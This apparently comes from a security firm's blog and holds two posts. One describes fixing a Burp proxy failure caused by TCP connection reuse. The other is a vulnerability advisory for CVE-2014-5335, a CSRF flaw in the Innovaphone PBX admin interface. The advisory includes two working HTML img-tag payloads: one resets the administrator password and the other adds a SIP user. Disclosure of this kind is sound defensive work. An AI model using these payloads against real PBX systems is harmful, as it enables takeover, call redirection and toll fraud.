Burp and TCP Connection Reuse / TCP Streaming

Recently we were working on an engagement to test a fat client using a web service and ran into a problem with Burp. Surprisingly enough, there was not a single resource on the Internet to help us out. Hoping that others dealing with the same issue won't lose their sanity like we almost did, I am writing this blog post now ;)

We were trying to test a web application, or rather a client application (a binary!) communicating with a web service built on top of an HTTP REST API, with Burp as a transparent/invisible proxy in between. For some completely unknown reason, when Burp was between the client software and the server, the client application just refused to log in.

A comparison of HTTP requests and responses showed no difference at all (except for session cookies set by the server during Step 2 of a 3-step login process). In other words: On application layer (i.e. HTTP), packets and communication were completely identical between client and server, both when connecting through Burp or directly through the Internet. Still, logging in did not work when Burp was active even though HTTP requests and responses were identical.

By accident, when following TCP streams in Wireshark while debugging this problem, we discovered the reason: TCP connection reuse. HTTP 1.1 allows for one TCP connection to be reused for multiple HTTP requests and responses. Burp, however, follows a Store, Modify and Forward model which initiates a new TCP connection for each proxied HTTP request. In other words: A different connection model than what the client application assumed for communication with the server, which assumed one TCP connection for three requests and responses.

The workaround for the problem was activating Streaming Responses in Burp for the target host. Streaming Responses were introduced for a different use case, but still solved our problem. Cf. the following screenshot:

So, in case you ever bump into problems with Burp as a transparent/invisible proxy and can't figure out why, have a look if the application is reusing one TCP connection for many HTTP requests and try activating Streaming Responses in Burp. This allows Burp to deal with TCP connection reuse for multiple HTTP requests/responses.

That's it folks!

[CVE-2014-5335] CSRF in Innovaphone PBX

Innovaphone PBX Admin-GUI CSRF

Impact: High
CVSS2 Score: 7.8 (AV:N/AC:M/Au:S/C:P/I:C/A:C/E:F/RL:U/RC:C)
Announced: August 21, 2014
Reporter: Rainer Giedat (NSIDE ATTACK LOGIC GmbH, http://www.nsideattacklogic.de/)
Products: Innovaphone PBX Administration GUI
Affected Versions: all known versions (tested 10.00 sr11)
CVE-id: CVE-2014-5335

Summary

The innovaphone PBX is a powerful and sophisticated VoIP telephone system for use in professional business environments. In addition to a wide range of IP telephony functionalities, the innovaphone PBX is also equipped with a perfectly integrated Unified Communications solution that can be enabled as needed at any time and at any workspace.

The innovaphone PBX uses a web-based user interface. This UI is vulnerable to cross-site request forgery attacks (CSRF).

Description

The UI does not check if a request was sent originating from a page it delivered before or from an untrusted and potentially malicious source. With a CSRF attack a malicious third party is able to change any configurable items from remote if an administrator is logged in to the user interface and visits a malicious website or clicks a manipulated link under the control of the attacker.

The lack of a logout mechanism and the use of the digest authentication scheme increases the probability of successful exploitation, because the user session will never expire automatically.

Impact

The attacker has full control over the innovaphone PBX and is able to manipulate every configuration item and user account data, as well as passwords. This can lead to the redirection of phone calls, denial of service and toll fraud by adding new SIP endpoints.

Proof on Concept

Visiting a web page including the following HTML image tag will change the administrator’s password of the innovaphone PBX to 'hacked':

<img src="http://<<PBX>>/CMD0/mod_cmd.xml?cmd=form&redirect=mod_cmd.xml%3Fxsl%3Dcommand.xsl&name=&user=admin&password=hacked&password2=hacked&help=&add.user=&add.pwd=&add.pwd2=&add.level=0&add.end=&kdc.realm=&kdc.address1=&kdc.port1=&kdc.adminport1=&kdc.address2=&kdc.port2=&kdc.adminport2=&kdc.end=&op=OK"></img>

Visiting a web page including the following image will add a new SIP user:

<img src="http://<<PBX>>/PBX0/ADMIN/mod_cmd_login.xml?cmd=submit-object&xsl=pbx_edit_user.xsl&tab-active=&guid=&repsrc=&search-grp=&text=&cn=Hans+Dampf&dn=Hans+Dampf&h323=Hans+Dampf&e164=666&email=&pwd=hans&pwd1=hans&node=root&loc=Opfer&fake=&obj-url=&gi=&config=&no-devs=update&dev1.hw=&dev1.text=&dev1.admin=on&dev1.no-filter=on&dev1.reg=on&filter=&cd-filter=&cfnr=&busy-out=&uc=&gw.name=&gw.ipei=&gw.dsp=&gw.ac=&gw.subs=&gw.fc=&gw.cki=&gw.ciph=&gw.end=.&save=Apply"></img>

Solution

Innovaphone recommends to use a dedicated browser only for administration tasks regarding the PBX and close all browser instances when administration is done.
More information can be found on the closed support wiki of innovaphone: http://wiki.innovaphone.com/index.php?title=Support:Protection_against_%22Cross-Site-Request-Forgery%22

This workaround makes sucessful exploitation harder, but an attacker may still be able to use special protocol-handlers to open URLs in different browsers.

No fix will be provided, since the vendor considers this to be a browser problem.

Timeline

2014-22-07    Bug found
2014-28-07    Vendor contact
2014-29-07    Vendor reply
2014-29-07    Technical details provided
2014-13-08    Vendor does not plan to patch for now, but provided a workaround
2014-21-08    Public release